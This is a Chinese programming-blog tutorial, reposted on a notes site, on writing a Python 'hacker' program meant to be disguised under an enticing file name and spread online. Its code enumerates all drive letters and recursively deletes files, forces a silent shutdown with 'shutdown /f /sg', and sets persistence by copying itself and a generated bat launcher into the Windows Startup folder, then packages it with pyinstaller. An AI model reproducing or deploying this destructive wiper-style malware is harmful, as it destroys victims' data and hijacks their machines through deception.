热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

大写字母|正题_使用Python一键删除全盘文件自动关机并留后门

篇首语:本文由编程笔记#小编为大家整理,主要介绍了使用Python一键删除全盘文件自动关机并留后门相关的知识,希望对你有一定的参考价值。/1前

篇首语:本文由编程笔记#小编为大家整理,主要介绍了使用Python一键删除全盘文件自动关机并留后门相关的知识,希望对你有一定的参考价值。



/1 前言/


今天我们要做的案例是怎样利用Python做一个hacker软件。

众所周知,一般的Hacker对于黑操作系统一般常用手法莫过于发送木马客户端,修改系统注册表。

组策略,获得开机启动权限,入侵电脑然后对电脑的文件进行修改来达到不可告人的目的。

今天我们要讲的就是最基础的,怎样获得开机启动,先给大家讲最基础添加文件到系统启动项的文件夹中,当然更加高端点也可以使用注册表添加,这里不在累述。好了,下面开始正题。。。。。。

 

/2 实现步骤/

首先我们通过社会工程学进行一个分析,准备一个足够吸引人的exe文件名称好让人第一眼看到就想点击它的欲望;等到别人点击了之后了这个程序是没有任何响应的,那么有的人也许会多点几下程序,当然这也对程序没有任何影响。下面我们来看一下:

首先我们得获取系统盘盘符,这个我们可以使用os模块通过对环境变量的字典键值来得到当前系统盘盘符。    

import os
print(os.getenv('SystemDrive'))

得到盘符后我们先可以将他的目录下的文件和文件夹打印出来    

aa=os.getenv('SystemDrive')
os.chdir(aa+'\\\\\\\\') \\#修改当前目录
os.system('tree\\>\\>1.txt') 打印树形目录并将其结果保存到1.txt文件中

然后我们只需要删除盘符下的文件夹和文件即可

所以我们需要用到 os 的walk遍历当前盘符下的所有文件,然后使用remove方法和rmdir方法,一个是删除文件另一个是删除目录

好了。我们开始吧,由于没有虚拟机于是自己创建一个目录放了若干文件夹和文件,效果都一样

path = r"C:\\\\Users\\\\Administrator\\\\Desktop\\\\sa"

os.walk() 方法用于通过在目录树中游走输出在目录中的文件名,向上或者向下。

os.walk()方法是一个简单易用的文件、目录遍历器,可以帮助我们高效的处理文件、目录方面的事情。

语法:

os.walk(top[, topdown=True[, οnerrοr=None[, followlinks=False]]])

参数:

top -- 根目录下的每一个文件夹(包含它自己), 产生3-元组 (dirpath, dirnames,filenames) 【文件夹路径, 文件夹名字, 文件名】。

topdown --可选,为True或者没有指定,一个目录的的3-元组将比它的任何子文件夹的3-元组先产生 (目录自上而下)。

如果topdown为 False, 一个目录的3-元组将比它的任何子文件夹的3-元组后产生(目录自下而上)。

onerror -- 可选,是一个函数; 它调用时有一个参数,一个OSError实例。报告这错误后,继续walk,或者抛出exception终止walk。    

for root,dirs,files in os.walk(path,topdown=False):
\\#遍历目录
for name in files:
os.remove(os.path.join(root, name))
    for name in dirs:
os.rmdir(os.path.join(root, name))

其实还有一种方法,就是shutil.rmtree(path),但是它会删除目录本身及所有子文件夹和文件,也就是说他会删除sa这个目录,所以不推荐这种搞法,因为我们要删除的是盘符下的文件夹或者文件,这样做很容易导致未知的错误

得到了系统盘符之后,我们还想得到系统其它盘符那该怎么办了,不着急,我们可以试试下面这种方法。

import os
import string
def get_pan():
disk_list=[] \\#磁盘盘符列表
for p in string.ascii_uppercase: \\#遍历所有大写字母
disk=p+':'
if os.path.isdir(disk): \\#看磁盘盘符名用了哪些大写字母开头
        disk_list.append(disk) \\#添加到盘符列表
return disk_list
print(get_pan()) #打印盘符

结果很完美,跟我预想的一模一样,连u盘盘符也打印出来了~

光打印一个磁盘目录文件好像显得有点美中不足,于是我决定吧所有磁盘目录文件都整出来,老样子,还是树形结构。

这样每个盘的目录结构就都保存在对应盘的2.txt文件中了。然后我们将会把这些盘符下的目录文件全部删除,当然遍历删除啦,为了模拟真实场景我决定用几个带有多层文件和目录的文件夹来代替盘符,这里我就不一一截图了,直接上代码,老样子   

 g=['C:\\\\\\\\Users\\\\\\\\Administrator\\\\\\\\Desktop\\\\\\\\sa\\\\\\\\','C:\\\\\\\\Users\\\\\\\\Administrator\\\\\\\\Desktop\\\\\\\\qq\\\\\\\\','C:\\\\\\\\Users\\\\\\\\Administrator\\\\\\\\Desktop\\\\\\\\sq\\\\\\\\']
for y in g:
    for root, dirs, files in os.walk(y,topdown=False):\\#遍历目录
        for name in files:
            os.remove(os.path.join(root, name))
        for name in dirs:
            os.rmdir(os.path.join(root, name))

 

ok,我们已经将文件及目录全部删除。

删除文件后了系统自然无法正常运行,于是这个时候我们可以使电脑关机,shutdown ,我的不二选择,它的方法有很多,用法如下:

shutdown [/i | /l | /s | /sg | /r | /g | /a | /p | /h | /e | /o][/hybrid] [/soft] [/fw] [/f]
/m \\computer[/d [p|u:]xx:yy [/c “comment”]]

没有参数 显示帮助。这与键入 /? 是一样的。

/? 显示帮助。这与不键入任何选项是一样的。

/i 显示图形用户界面(GUI)。这必须是第一个选项。/l 注销。这不能与 /m 或 /d 选项一起使用。/s 关闭计算机。/sg 关闭计算机。在下一次启动时,重启任何注册的应用程序。/r 完全关闭并重启计算机。/g 完全关闭并重新启动计算机。在重新启动系统后,重启任何注册的应用程序。/a 中止系统关闭。这只能在超时期间使用。与 /fw 结合使用,以清除任何未完成的至固件的引导。/p 关闭本地计算机,没有超时或警告。可以与 /d 和 /f 选项一起使用。/h 休眠本地计算机。可以与 /f 选项一起使用。/hybrid 执行计算机关闭并进行准备以快速启动。必须与 /s 选项一起使用。/fw 与关闭选项结合使用,使下次启动转到固件用户界面。/e 记录计算机意外关闭的原因。/o 转到高级启动选项菜单并重新启动计算机。必须与 /r 选项一起使用。/m \\\\computer 指定目标计算机。/t xxx 将关闭前的超时时间设置为 xxx 秒。有效范围是 0-315360000 (10 年),默认值为 30。如果超时时间大于 0,则默示为/f 参数。/c "comment" 有关重新启动或关闭的原因的注释。最多允许 512 个字符。/f 强制关闭正在运行的应用程序而不事先警告用户。如果为 /t 参数指定大于 0 的值,则默示为 /f 参数。/d [p|u:]xx:yy 提供重新启动或关闭的原因。p 指示重启或关闭是计划内的。u 指示原因是用户定义的。如果未指定 p 也未指定 u,则重新启动或关闭是计划外的。xx 是主要原因编号(小于 256 的正整数)。yy 是次要原因编号(小于 65536 的正整数)。

所以我们得调用os.popen('shutdown /f /sg'),这样就可以在没有任何提示下关机了,神不知鬼不觉,哈哈哈,当然这个操作得是基于文件操作结束后进行的,再次进行优化    

g=['C:\\\\\\\\Users\\\\\\\\Administrator\\\\\\\\Desktop\\\\\\\\sa\\\\\\\\','C:\\\\\\\\Users\\\\\\\\Administrator\\\\\\\\Desktop\\\\\\\\qq\\\\\\\\','C:\\\\\\\\Users\\\\\\\\Administrator\\\\\\\\Desktop\\\\\\\\sq\\\\\\\\']
for y in g: try:         #遍历目录         for root, dirs, files in os.walk(y,topdown=False):             for name in files:                 os.remove(os.path.join(root, name))             for name in dirs:                 os.rmdir(os.path.join(root, name)) time.sleep(1) except Exception: pass finally: os.popen('shutdown /f /sg')\\#不弹出黑窗口

我们把程序发到网上运气好别人点击了,得让那个文件在自启动目录然后每次开机那个程序才会跟着启动啊,但是你想让别人把那个文件放到启动目录里去,做梦呢?这些操作当然交给万能的Python就能一步搞定啦。我们可以在点击这个文件之后快速生成一个bat文件和一个EXE文件或者Python文件。

在这里我以Python 和bat为主,因为我还没打包的缘故。

自启动目录路径:C:\\\\ProgramData\\\\Microsoft\\\\Windows\\\\Start Menu\\\\Programs\\\\Startupimport shutilshutil.copyfile('gc.py',r'C:\\\\ProgramData\\\\Microsoft\\\\Windows\\\\StartMenu\\\\Programs\\\\StartUp\\\\gc1.py')

在这里我们用到shutil这个模块,专门操作文件目录的Copyfile方法是将当前资源文件复制到另一个目录下的文件,但是需要注意一点的是,两个文件名不可一样,否则会报错,虽然它可以复制,如果你非得用这个方法,记得抛异常。好了,现在可以了:

然后我们还需要一个bat来启动它,因为没有bat它是需要借助外力去点击才有效果的,有了bat就可以自动启动。

建立一个后缀为bat的文件,内容如下:

同样的。我们还是需要我们的Python来智能产生bat文件那么该怎样写了,很简单,有人问我为什么是pythow不是Python,因为前者运行后没有黑窗口,当然不管是创建bat文件还是复制程序文件都最好在删除之后调用,有人问我,你的文件都删除完了,留那一个有何用,哈啊哈哈,我只能说,仅供娱乐。。。

回到正题,程序文件只需创建一个就ok。

这样就算是大功告成了,然后我们也可以把Python文件打包,这样bat文件里就不需要写解释器了,因为有的目标电脑可能没有Python环境,这个时候需要我们用pyinstaller打包一下。打包好了之后,直接把bat文件内容改为start gc.exe就可以了。

打包成exe文件之后了,就可以发布到网上装X啦,哈哈哈~

 文章到这里就结束了,感谢你的观看

说实在的,每次在后台看到一些读者的回应都觉得很欣慰,我想把我收藏的一些编程干货贡献给大家,回馈每一个读者,希望能帮到你们。

干货主要有:

① 2000多本Python电子书(主流和经典的书籍应该都有了)

② Python标准库资料(最全中文版)

③ 项目源码(四五十个有趣且经典的练手项目及源码)

④ Python基础入门、爬虫、web开发、大数据分析方面的视频(适合小白学习)

⑤    Python所有知识点汇总(可以弄清楚Python的所有方向和技术)

*如果你用得到的话可以直接拿走,在我的QQ技术交流群里,可以自助拿走,群号是857113825。*


推荐阅读
  • SpringBoot简单日志配置
     在生产环境中,只打印error级别的错误,在测试环境中,可以调成debugapplication.properties文件##默认使用logbacklogging.level.r ... [详细]
  • 本文介绍了深入浅出Linux设备驱动编程的重要性,以及两种加载和删除Linux内核模块的方法。通过一个内核模块的例子,展示了模块的编译和加载过程,并讨论了模块对内核大小的控制。深入理解Linux设备驱动编程对于开发者来说非常重要。 ... [详细]
  • 开发笔记:加密&json&StringIO模块&BytesIO模块
    篇首语:本文由编程笔记#小编为大家整理,主要介绍了加密&json&StringIO模块&BytesIO模块相关的知识,希望对你有一定的参考价值。一、加密加密 ... [详细]
  • 使用Ubuntu中的Python获取浏览器历史记录原文: ... [详细]
  • 图解redis的持久化存储机制RDB和AOF的原理和优缺点
    本文通过图解的方式介绍了redis的持久化存储机制RDB和AOF的原理和优缺点。RDB是将redis内存中的数据保存为快照文件,恢复速度较快但不支持拉链式快照。AOF是将操作日志保存到磁盘,实时存储数据但恢复速度较慢。文章详细分析了两种机制的优缺点,帮助读者更好地理解redis的持久化存储策略。 ... [详细]
  • 本文详细介绍了Java中vector的使用方法和相关知识,包括vector类的功能、构造方法和使用注意事项。通过使用vector类,可以方便地实现动态数组的功能,并且可以随意插入不同类型的对象,进行查找、插入和删除操作。这篇文章对于需要频繁进行查找、插入和删除操作的情况下,使用vector类是一个很好的选择。 ... [详细]
  • 本文讨论了clone的fork与pthread_create创建线程的不同之处。进程是一个指令执行流及其执行环境,其执行环境是一个系统资源的集合。在调用系统调用fork创建一个进程时,子进程只是完全复制父进程的资源,这样得到的子进程独立于父进程,具有良好的并发性。但是二者之间的通讯需要通过专门的通讯机制,另外通过fork创建子进程系统开销很大。因此,在某些情况下,使用clone或pthread_create创建线程可能更加高效。 ... [详细]
  • Java中包装类的设计原因以及操作方法
    本文主要介绍了Java中设计包装类的原因以及操作方法。在Java中,除了对象类型,还有八大基本类型,为了将基本类型转换成对象,Java引入了包装类。文章通过介绍包装类的定义和实现,解答了为什么需要包装类的问题,并提供了简单易用的操作方法。通过本文的学习,读者可以更好地理解和应用Java中的包装类。 ... [详细]
  • 本文介绍了Swing组件的用法,重点讲解了图标接口的定义和创建方法。图标接口用来将图标与各种组件相关联,可以是简单的绘画或使用磁盘上的GIF格式图像。文章详细介绍了图标接口的属性和绘制方法,并给出了一个菱形图标的实现示例。该示例可以配置图标的尺寸、颜色和填充状态。 ... [详细]
  • Android系统源码分析Zygote和SystemServer启动过程详解
    本文详细解析了Android系统源码中Zygote和SystemServer的启动过程。首先介绍了系统framework层启动的内容,帮助理解四大组件的启动和管理过程。接着介绍了AMS、PMS等系统服务的作用和调用方式。然后详细分析了Zygote的启动过程,解释了Zygote在Android启动过程中的决定作用。最后通过时序图展示了整个过程。 ... [详细]
  • Week04面向对象设计与继承学习总结及作业要求
    本文总结了Week04面向对象设计与继承的重要知识点,包括对象、类、封装性、静态属性、静态方法、重载、继承和多态等。同时,还介绍了私有构造函数在类外部无法被调用、static不能访问非静态属性以及该类实例可以共享类里的static属性等内容。此外,还提到了作业要求,包括讲述一个在网上商城购物或在班级博客进行学习的故事,并使用Markdown的加粗标记和语句块标记标注关键名词和动词。最后,还提到了参考资料中关于UML类图如何绘制的范例。 ... [详细]
  • 重入锁(ReentrantLock)学习及实现原理
    本文介绍了重入锁(ReentrantLock)的学习及实现原理。在学习synchronized的基础上,重入锁提供了更多的灵活性和功能。文章详细介绍了重入锁的特性、使用方法和实现原理,并提供了类图和测试代码供读者参考。重入锁支持重入和公平与非公平两种实现方式,通过对比和分析,读者可以更好地理解和应用重入锁。 ... [详细]
  • 本文介绍了使用哈夫曼树实现文件压缩和解压的方法。首先对数据结构课程设计中的代码进行了分析,包括使用时间调用、常量定义和统计文件中各个字符时相关的结构体。然后讨论了哈夫曼树的实现原理和算法。最后介绍了文件压缩和解压的具体步骤,包括字符统计、构建哈夫曼树、生成编码表、编码和解码过程。通过实例演示了文件压缩和解压的效果。本文的内容对于理解哈夫曼树的实现原理和应用具有一定的参考价值。 ... [详细]
  • 如何使用Python从工程图图像中提取底部的方法?
    本文介绍了使用Python从工程图图像中提取底部的方法。首先将输入图片转换为灰度图像,并进行高斯模糊和阈值处理。然后通过填充潜在的轮廓以及使用轮廓逼近和矩形核进行过滤,去除非矩形轮廓。最后通过查找轮廓并使用轮廓近似、宽高比和轮廓区域进行过滤,隔离所需的底部轮廓,并使用Numpy切片提取底部模板部分。 ... [详细]
  • PHP反射API的功能和用途详解
    本文详细介绍了PHP反射API的功能和用途,包括动态获取信息和调用对象方法的功能,以及自动加载插件、生成文档、扩充PHP语言等用途。通过反射API,可以获取类的元数据,创建类的实例,调用方法,传递参数,动态调用类的静态方法等。PHP反射API是一种内建的OOP技术扩展,通过使用Reflection、ReflectionClass和ReflectionMethod等类,可以帮助我们分析其他类、接口、方法、属性和扩展。 ... [详细]
author-avatar
粉红色头发丫头_960
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有